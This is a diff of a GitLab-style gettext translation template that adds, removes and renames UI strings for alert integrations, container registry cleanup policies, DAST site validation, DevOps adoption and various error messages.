+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
